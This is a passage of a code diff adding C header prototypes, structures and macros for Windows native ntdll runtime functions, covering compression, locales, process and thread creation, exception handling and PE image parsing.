COMPRESSED_DATA_INFO; +typedef COMPRESSED_DATA_INFO* PCOMPRESSED_DATA_INFO; + +#endif // !_KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetCompressionWorkSpaceSize( + _In_ USHORT CompressionFormatAndEngine, + _Out_ PULONG CompressBufferWorkSpaceSize, + _Out_ PULONG CompressFragmentWorkSpaceSize +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCompressBuffer( + _In_ USHORT CompressionFormatAndEngine, + _In_reads_bytes_(UncompressedBufferSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _Out_writes_bytes_to_(CompressedBufferSize, *FinalCompressedSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_ ULONG UncompressedChunkSize, + _Out_ PULONG FinalCompressedSize, + _In_ PVOID WorkSpace +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressBuffer( + _In_ USHORT CompressionFormat, + _Out_writes_bytes_to_(UncompressedBufferSize, *FinalUncompressedSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _Out_ PULONG FinalUncompressedSize +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressBufferEx( + _In_ USHORT CompressionFormat, + _Out_writes_bytes_to_(UncompressedBufferSize, *FinalUncompressedSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _Out_ PULONG FinalUncompressedSize, + _In_opt_ PVOID WorkSpace +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressBufferEx2( + _In_ USHORT CompressionFormat, + _Out_writes_bytes_to_(UncompressedBufferSize, *FinalUncompressedSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_ ULONG UncompressedChunkSize, + _Out_ PULONG FinalUncompressedSize, + _In_opt_ PVOID WorkSpace +); +#endif + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressFragment( + _In_ USHORT CompressionFormat, + _Out_writes_bytes_to_(UncompressedFragmentSize, *FinalUncompressedSize) PUCHAR UncompressedFragment, + _In_ ULONG UncompressedFragmentSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_range_(< , CompressedBufferSize) ULONG FragmentOffset, + _Out_ PULONG FinalUncompressedSize, + _In_ PVOID WorkSpace +); + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressFragmentEx( + _In_ USHORT CompressionFormat, + _Out_writes_bytes_to_(UncompressedFragmentSize, *FinalUncompressedSize) PUCHAR UncompressedFragment, + _In_ ULONG UncompressedFragmentSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_range_(< , CompressedBufferSize) ULONG FragmentOffset, + _In_ ULONG UncompressedChunkSize, + _Out_ PULONG FinalUncompressedSize, + _In_ PVOID WorkSpace +); +#endif + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDescribeChunk( + _In_ USHORT CompressionFormat, + _Inout_ PUCHAR* CompressedBuffer, + _In_ PUCHAR EndOfCompressedBufferPlus1, + _Out_ PUCHAR* ChunkBuffer, + _Out_ PULONG ChunkSize +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlReserveChunk( + _In_ USHORT CompressionFormat, + _Inout_ PUCHAR* CompressedBuffer, + _In_ PUCHAR EndOfCompressedBufferPlus1, + _Out_ PUCHAR* ChunkBuffer, + _In_ ULONG ChunkSize +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressChunks( + _Out_writes_bytes_(UncompressedBufferSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_reads_bytes_(CompressedTailSize) PUCHAR CompressedTail, + _In_ ULONG CompressedTailSize, + _In_ PCOMPRESSED_DATA_INFO CompressedDataInfo +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlCompressChunks( + _In_reads_bytes_(UncompressedBufferSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _Out_writes_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_range_(>= , (UncompressedBufferSize - (UncompressedBufferSize / 16))) ULONG CompressedBufferSize, + _Inout_updates_bytes_(CompressedDataInfoLength) PCOMPRESSED_DATA_INFO CompressedDataInfo, + _In_range_(> , sizeof(COMPRESSED_DATA_INFO)) ULONG CompressedDataInfoLength, + _In_ PVOID WorkSpace +); + +// +// Locale +// + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlConvertLCIDToString( + _In_ LCID LcidValue, + _In_ ULONG Base, + _In_ ULONG Padding, // string is padded to this width + _Out_writes_(Size) PWSTR pResultBuf, + _In_ ULONG Size +); + +// private +NTSYSAPI +BOOLEAN +NTAPI +RtlIsValidLocaleName( + _In_ PCWSTR LocaleName, + _In_ ULONG Flags +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlGetParentLocaleName( + _In_ PCWSTR LocaleName, + _Inout_ PUNICODE_STRING ParentLocaleName, + _In_ ULONG Flags, + _In_ BOOLEAN AllocateDestinationString +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlLcidToLocaleName( + _In_ LCID lcid, // sic + _Inout_ PUNICODE_STRING LocaleName, + _In_ ULONG Flags, + _In_ BOOLEAN AllocateDestinationString +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlLocaleNameToLcid( + _In_ PCWSTR LocaleName, + _Out_ PLCID lcid, + _In_ ULONG Flags +); + +// private +NTSYSAPI +BOOLEAN +NTAPI +RtlLCIDToCultureName( + _In_ LCID Lcid, + _Inout_ PUNICODE_STRING String +); + +// private +NTSYSAPI +BOOLEAN +NTAPI +RtlCultureNameToLCID( + _In_ PUNICODE_STRING String, + _Out_ PLCID Lcid +); + +// private +NTSYSAPI +VOID +NTAPI +RtlCleanUpTEBLangLists( + VOID +); + +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLocaleFileMappingAddress( + _Out_ PVOID* BaseAddress, + _Out_ PLCID DefaultLocaleId, + _Out_ PLARGE_INTEGER DefaultCasingTableSize +); +#endif + +#endif // !_KERNEL_MODE + +// +// PEB +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +PPEB +NTAPI +RtlGetCurrentPeb( + VOID +); + +NTSYSAPI +VOID +NTAPI +RtlAcquirePebLock( + VOID +); + +NTSYSAPI +VOID +NTAPI +RtlReleasePebLock( + VOID +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +LOGICAL +NTAPI +RtlTryAcquirePebLock( + VOID +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateFromPeb( + _In_ ULONG Size, + _Out_ PVOID* Block +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFreeToPeb( + _In_ PVOID Block, + _In_ ULONG Size +); + +#endif // !_KERNEL_MODE + +// +// Processes +// + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; +} CURDIR, * PCURDIR; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG_PTR EnvironmentSize; + ULONG_PTR EnvironmentVersion; + + PVOID PackageDependencyData; + ULONG ProcessGroupId; + ULONG LoaderThreads; + + UNICODE_STRING RedirectionDllName; // REDSTONE4 + UNICODE_STRING HeapPartitionName; // 19H1 + ULONG_PTR DefaultThreadpoolCpuSetMasks; + ULONG DefaultThreadpoolCpuSetMaskCount; +} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; + +#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 +#define RTL_USER_PROC_PROFILE_USER 0x00000002 +#define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 +#define RTL_USER_PROC_PROFILE_SERVER 0x00000008 +#define RTL_USER_PROC_RESERVE_1MB 0x00000020 +#define RTL_USER_PROC_RESERVE_16MB 0x00000040 +#define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 +#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 +#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 +#define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 +#define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 +#define RTL_USER_PROC_OPTIN_PROCESS 0x00020000 + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateProcessParameters( + _Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateProcessParametersEx( + _Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData, + _In_ ULONG Flags // pass RTL_USER_PROC_PARAMS_NORMALIZED to keep parameters normalized +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyProcessParameters( + _In_ _Post_invalid_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters +); + +NTSYSAPI +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlNormalizeProcessParams( + _Inout_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters +); + +NTSYSAPI +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlDeNormalizeProcessParams( + _Inout_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters +); + +typedef struct _RTL_USER_PROCESS_INFORMATION +{ + ULONG Length; + HANDLE ProcessHandle; + HANDLE ThreadHandle; + CLIENT_ID ClientId; + struct _SECTION_IMAGE_INFORMATION ImageInformation; +} RTL_USER_PROCESS_INFORMATION, * PRTL_USER_PROCESS_INFORMATION; + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateUserProcess( + _In_ PUNICODE_STRING NtImagePathName, + _In_ ULONG AttributesDeprecated, + _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_opt_ HANDLE ParentProcess, + _In_ BOOLEAN InheritHandles, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE TokenHandle, // used to be ExceptionPort + _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateUserProcessEx( + _In_ PUNICODE_STRING NtImagePathName, + _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + _In_ BOOLEAN InheritHandles, + _Reserved_ ULONG Flags, + _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +DECLSPEC_NORETURN +NTSYSAPI +VOID +NTAPI +RtlExitUserProcess( + _In_ NTSTATUS ExitStatus +); +#else +#define RtlExitUserProcess RtlExitUserProcess_R + +DECLSPEC_NORETURN +FORCEINLINE VOID RtlExitUserProcess_R( + _In_ NTSTATUS ExitStatus +) +{ + ExitProcess(ExitStatus); +} +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// begin_rev +#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001 +#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002 +#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 // don't update synchronization objects +// end_rev + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlCloneUserProcess( + _In_ ULONG ProcessFlags, + _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_opt_ HANDLE DebugPort, + _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation +); + +// private +NTSYSAPI +VOID +NTAPI +RtlUpdateClonedCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection +); + +// private +NTSYSAPI +VOID +NTAPI +RtlUpdateClonedSRWLock( + _Inout_ PRTL_SRWLOCK SRWLock, + _In_ LOGICAL Shared // TRUE to set to shared acquire +); +#endif + +// private +typedef struct _RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION +{ + HANDLE ReflectionProcessHandle; + HANDLE ReflectionThreadHandle; + CLIENT_ID ReflectionClientId; +} RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION, * PRTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION; + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateProcessReflection( + _In_ HANDLE ProcessHandle, + _In_ ULONG Flags, // RTL_CLONE_PROCESS_FLAGS + _In_opt_ PVOID StartRoutine, + _In_opt_ PVOID StartContext, + _In_opt_ HANDLE EventHandle, + _Out_opt_ PRTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION ReflectionInformation +); +#endif + +NTSYSAPI +NTSTATUS +STDAPIVCALLTYPE +RtlSetProcessIsCritical( + _In_ BOOLEAN NewValue, + _Out_opt_ PBOOLEAN OldValue, + _In_ BOOLEAN CheckFlag +); + +NTSYSAPI +NTSTATUS +STDAPIVCALLTYPE +RtlSetThreadIsCritical( + _In_ BOOLEAN NewValue, + _Out_opt_ PBOOLEAN OldValue, + _In_ BOOLEAN CheckFlag +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlValidProcessProtection( + _In_ struct _PS_PROTECTION ProcessProtection +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlTestProtectedAccess( + _In_ struct _PS_PROTECTION Source, + _In_ struct _PS_PROTECTION Target +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsCurrentProcess( // NtCompareObjects(NtCurrentProcess(), ProcessHandle) + _In_ HANDLE ProcessHandle +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsCurrentThread( // NtCompareObjects(NtCurrentThread(), ThreadHandle) + _In_ HANDLE ThreadHandle +); +#endif + +// KernelBase.dll +NTSYSAPI +BOOL +WINAPI +CreateProcessInternalA( + _In_opt_ HANDLE hUserToken, + _In_opt_ LPWSTR lpApplicationName, + _Inout_opt_ LPSTR lpCommandLine, + _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, + _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, + _In_ BOOL bInheritHandles, + _In_ DWORD dwCreationFlags, + _In_opt_ LPVOID lpEnvironment, + _In_opt_ LPCSTR lpCurrentDirectory, + _In_ LPSTARTUPINFOA lpStartupInfo, + _Out_ LPPROCESS_INFORMATION lpProcessInformation, + _Out_opt_ PHANDLE hNewToken +); + +NTSYSAPI +BOOL +WINAPI +CreateProcessInternalW( + _In_opt_ HANDLE hUserToken, + _In_opt_ LPCWSTR lpApplicationName, + _Inout_opt_ LPWSTR lpCommandLine, + _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, + _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, + _In_ BOOL bInheritHandles, + _In_ DWORD dwCreationFlags, + _In_opt_ LPVOID lpEnvironment, + _In_opt_ LPCWSTR lpCurrentDirectory, + _In_ LPSTARTUPINFOW lpStartupInfo, + _Out_ LPPROCESS_INFORMATION lpProcessInformation, + _Out_opt_ PHANDLE hNewToken +); + +#endif // !_KERNEL_MODE + +// +// Threads +// + +#ifndef _KERNEL_MODE + +typedef NTSTATUS(NTAPI* PUSER_THREAD_START_ROUTINE)( + _In_ PVOID ThreadParameter + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateUserThread( + _In_ HANDLE Process, + _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_ BOOLEAN CreateSuspended, + _In_opt_ ULONG ZeroBits, + _In_opt_ SIZE_T MaximumStackSize, + _In_opt_ SIZE_T CommittedStackSize, + _In_ PUSER_THREAD_START_ROUTINE StartAddress, + _In_opt_ PVOID Parameter, + _Out_opt_ PHANDLE Thread, + _Out_opt_ PCLIENT_ID ClientId +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) // should be NTDDI_WINXP, but is NTDDI_VISTA for consistency with RtlExitUserProcess +DECLSPEC_NORETURN +NTSYSAPI +VOID +NTAPI +RtlExitUserThread( + _In_ NTSTATUS ExitStatus +); +#else +#define RtlExitUserThread RtlExitUserThread_R + +DECLSPEC_NORETURN +FORCEINLINE VOID RtlExitUserThread_R( + _In_ NTSTATUS ExitStatus +) +{ + ExitThread(ExitStatus); +} +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsCurrentThreadAttachExempt( + VOID +); +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateUserStack( + _In_opt_ SIZE_T CommittedStackSize, + _In_opt_ SIZE_T MaximumStackSize, + _In_opt_ ULONG_PTR ZeroBits, + _In_ SIZE_T PageSize, + _In_ ULONG_PTR ReserveAlignment, + _Out_ struct _INITIAL_TEB* InitialTeb +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlFreeUserStack( + _In_ PVOID AllocationBase +); +#endif + +#endif // !_KERNEL_MODE + +// +// Extended thread context +// + +#ifndef _KERNEL_MODE + +typedef struct _CONTEXT_CHUNK +{ + LONG Offset; // Offset may be negative. + ULONG Length; +} CONTEXT_CHUNK, * PCONTEXT_CHUNK; + +typedef struct _CONTEXT_EX +{ + CONTEXT_CHUNK All; + CONTEXT_CHUNK Legacy; + CONTEXT_CHUNK XState; +} CONTEXT_EX, * PCONTEXT_EX; + +#define CONTEXT_EX_LENGTH ALIGN_UP_BY(sizeof(CONTEXT_EX), PAGE_SIZE) +#define RTL_CONTEXT_EX_OFFSET(ContextEx, Chunk) ((ContextEx)->Chunk.Offset) +#define RTL_CONTEXT_EX_LENGTH(ContextEx, Chunk) ((ContextEx)->Chunk.Length) +#define RTL_CONTEXT_EX_CHUNK(Base, Layout, Chunk) ((PVOID)((PCHAR)(Base) + RTL_CONTEXT_EX_OFFSET(Layout, Chunk))) +#define RTL_CONTEXT_OFFSET(Context, Chunk) RTL_CONTEXT_EX_OFFSET((PCONTEXT_EX)(Context + 1), Chunk) +#define RTL_CONTEXT_LENGTH(Context, Chunk) RTL_CONTEXT_EX_LENGTH((PCONTEXT_EX)(Context + 1), Chunk) +#define RTL_CONTEXT_CHUNK(Context, Chunk) RTL_CONTEXT_EX_CHUNK((PCONTEXT_EX)(Context + 1), (PCONTEXT_EX)(Context + 1), Chunk) + +NTSYSAPI +VOID +NTAPI +RtlInitializeContext( + _In_ HANDLE Process, + _Out_ PCONTEXT Context, + _In_opt_ PVOID Parameter, + _In_opt_ PVOID InitialPc, + _In_opt_ PVOID InitialSp +); + +NTSYSAPI +ULONG +NTAPI +RtlInitializeExtendedContext( + _Out_ PCONTEXT Context, + _In_ ULONG ContextFlags, + _Out_ PCONTEXT_EX* ContextEx +); + +NTSYSAPI +ULONG +NTAPI +RtlCopyExtendedContext( + _Out_ PCONTEXT_EX Destination, + _In_ ULONG ContextFlags, + _In_ PCONTEXT_EX Source +); + +NTSYSAPI +ULONG +NTAPI +RtlGetExtendedContextLength( + _In_ ULONG ContextFlags, + _Out_ PULONG ContextLength +); + +NTSYSAPI +ULONG64 +NTAPI +RtlGetExtendedFeaturesMask( + _In_ PCONTEXT_EX ContextEx +); + +NTSYSAPI +PVOID +NTAPI +RtlLocateExtendedFeature( + _In_ PCONTEXT_EX ContextEx, + _In_ ULONG FeatureId, + _Out_opt_ PULONG Length +); + +NTSYSAPI +PCONTEXT +NTAPI +RtlLocateLegacyContext( + _In_ PCONTEXT_EX ContextEx, + _Out_opt_ PULONG Length +); + +NTSYSAPI +VOID +NTAPI +RtlSetExtendedFeaturesMask( + _In_ PCONTEXT_EX ContextEx, + _In_ ULONG64 FeatureMask +); + +#ifdef _WIN64 +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlWow64GetThreadContext( + _In_ HANDLE ThreadHandle, + _Inout_ PWOW64_CONTEXT ThreadContext +); +#endif + +#ifdef _WIN64 +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlWow64SetThreadContext( + _In_ HANDLE ThreadHandle, + _In_ PWOW64_CONTEXT ThreadContext +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlRemoteCall( + _In_ HANDLE Process, + _In_ HANDLE Thread, + _In_ PVOID CallSite, + _In_ ULONG ArgumentCount, + _In_opt_ PULONG_PTR Arguments, + _In_ BOOLEAN PassContext, + _In_ BOOLEAN AlreadySuspended +); + +#endif // !_KERNEL_MODE + +// +// Vectored exception handlers +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +PVOID +NTAPI +RtlAddVectoredExceptionHandler( + _In_ ULONG First, + _In_ PVECTORED_EXCEPTION_HANDLER Handler +); + +NTSYSAPI +ULONG +NTAPI +RtlRemoveVectoredExceptionHandler( + _In_ PVOID Handle +); + +NTSYSAPI +PVOID +NTAPI +RtlAddVectoredContinueHandler( + _In_ ULONG First, + _In_ PVECTORED_EXCEPTION_HANDLER Handler +); + +NTSYSAPI +ULONG +NTAPI +RtlRemoveVectoredContinueHandler( + _In_ PVOID Handle +); + +#endif // !_KERNEL_MODE + +// +// Runtime exception handling +// + +#ifndef _KERNEL_MODE + +typedef ULONG(NTAPI* PRTLP_UNHANDLED_EXCEPTION_FILTER)( + _In_ PEXCEPTION_POINTERS ExceptionInfo + ); + +NTSYSAPI +VOID +NTAPI +RtlSetUnhandledExceptionFilter( + _In_ PRTLP_UNHANDLED_EXCEPTION_FILTER UnhandledExceptionFilter +); + +// rev +NTSYSAPI +LONG +NTAPI +RtlUnhandledExceptionFilter( + _In_ PEXCEPTION_POINTERS ExceptionPointers +); + +// rev +NTSYSAPI +LONG +NTAPI +RtlUnhandledExceptionFilter2( + _In_ PEXCEPTION_POINTERS ExceptionPointers, + _In_ ULONG Flags +); + +// rev +NTSYSAPI +LONG +NTAPI +RtlKnownExceptionFilter( + _In_ PEXCEPTION_POINTERS ExceptionPointers +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlDispatchException( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord +); + +NTSYSAPI +DECLSPEC_NORETURN +VOID +NTAPI +RtlRaiseStatus( + _In_ NTSTATUS Status +); + +NTSYSAPI +__analysis_noreturn +VOID +NTAPI +RtlAssert( + _In_ PVOID VoidFailedAssertion, + _In_ PVOID VoidFileName, + _In_ ULONG LineNumber, + _In_opt_ PSTR MutableMessage +); + +#if DBG + +#define ASSERT( exp ) \ + ((!(exp)) ? \ + (RtlAssert( (PVOID)#exp, (PVOID)__FILE__, __LINE__, NULL ),FALSE) : \ + TRUE) + +#define ASSERTMSG( msg, exp ) \ + ((!(exp)) ? \ + (RtlAssert( (PVOID)#exp, (PVOID)__FILE__, __LINE__, msg ),FALSE) : \ + TRUE) + +#define RTL_SOFT_ASSERT(_exp) \ + ((!(_exp)) ? \ + (DbgPrint("%s(%d): Soft assertion failed\n Expression: %s\n", __FILE__, __LINE__, #_exp),FALSE) : \ + TRUE) + +#define RTL_SOFT_ASSERTMSG(_msg, _exp) \ + ((!(_exp)) ? \ + (DbgPrint("%s(%d): Soft assertion failed\n Expression: %s\n Message: %s\n", __FILE__, __LINE__, #_exp, (_msg)),FALSE) : \ + TRUE) + +#define RTL_VERIFY ASSERT +#define RTL_VERIFYMSG ASSERTMSG + +#define RTL_SOFT_VERIFY RTL_SOFT_ASSERT +#define RTL_SOFT_VERIFYMSG RTL_SOFT_ASSERTMSG + +#else +#define ASSERT( exp ) ((void) 0) +#define ASSERTMSG( msg, exp ) ((void) 0) + +#define RTL_SOFT_ASSERT(_exp) ((void) 0) +#define RTL_SOFT_ASSERTMSG(_msg, _exp) ((void) 0) + +#define RTL_VERIFY( exp ) ((exp) ? TRUE : FALSE) +#define RTL_VERIFYMSG( msg, exp ) ((exp) ? TRUE : FALSE) + +#define RTL_SOFT_VERIFY(_exp) ((_exp) ? TRUE : FALSE) +#define RTL_SOFT_VERIFYMSG(msg, _exp) ((_exp) ? TRUE : FALSE) + +#endif // DBG + +#ifdef _WIN64 +// private +typedef enum _FUNCTION_TABLE_TYPE +{ + RF_SORTED, + RF_UNSORTED, + RF_CALLBACK, + RF_KERNEL_DYNAMIC +} FUNCTION_TABLE_TYPE; + +// private +typedef struct _DYNAMIC_FUNCTION_TABLE +{ + LIST_ENTRY ListEntry; + PRUNTIME_FUNCTION FunctionTable; + LARGE_INTEGER TimeStamp; + ULONG64 MinimumAddress; + ULONG64 MaximumAddress; + ULONG64 BaseAddress; + PGET_RUNTIME_FUNCTION_CALLBACK Callback; + PVOID Context; + PWSTR OutOfProcessCallbackDll; + FUNCTION_TABLE_TYPE Type; + ULONG EntryCount; + RTL_BALANCED_NODE TreeNode; +} DYNAMIC_FUNCTION_TABLE, * PDYNAMIC_FUNCTION_TABLE; + +// rev +NTSYSAPI +PLIST_ENTRY +NTAPI +RtlGetFunctionTableListHead( + VOID +); +#endif + +#endif // !_KERNEL_MODE + +// +// Images +// + +NTSYSAPI +PIMAGE_NT_HEADERS +NTAPI +RtlImageNtHeader( + _In_ PVOID BaseOfImage +); + +#define RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK 0x00000001 + +NTSYSAPI +NTSTATUS +NTAPI +RtlImageNtHeaderEx( + _In_ ULONG Flags, + _In_ PVOID BaseOfImage, + _In_ ULONG64 Size, + _Out_ PIMAGE_NT_HEADERS* OutHeaders +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +PVOID +NTAPI +RtlAddressInSectionTable( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG VirtualAddress +); + +NTSYSAPI +PIMAGE_SECTION_HEADER +NTAPI +RtlSectionTableFromVirtualAddress( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG VirtualAddress +); + +#endif // !_KERNEL_MODE + +NTSYSAPI +PVOID +NTAPI +RtlImageDirectoryEntryToData( + _In_ PVOID BaseOfImage, + _In_ BOOLEAN MappedAsImage, + _In_ USHORT DirectoryEntry, + _Out_ PULONG Size +); + +#ifndef 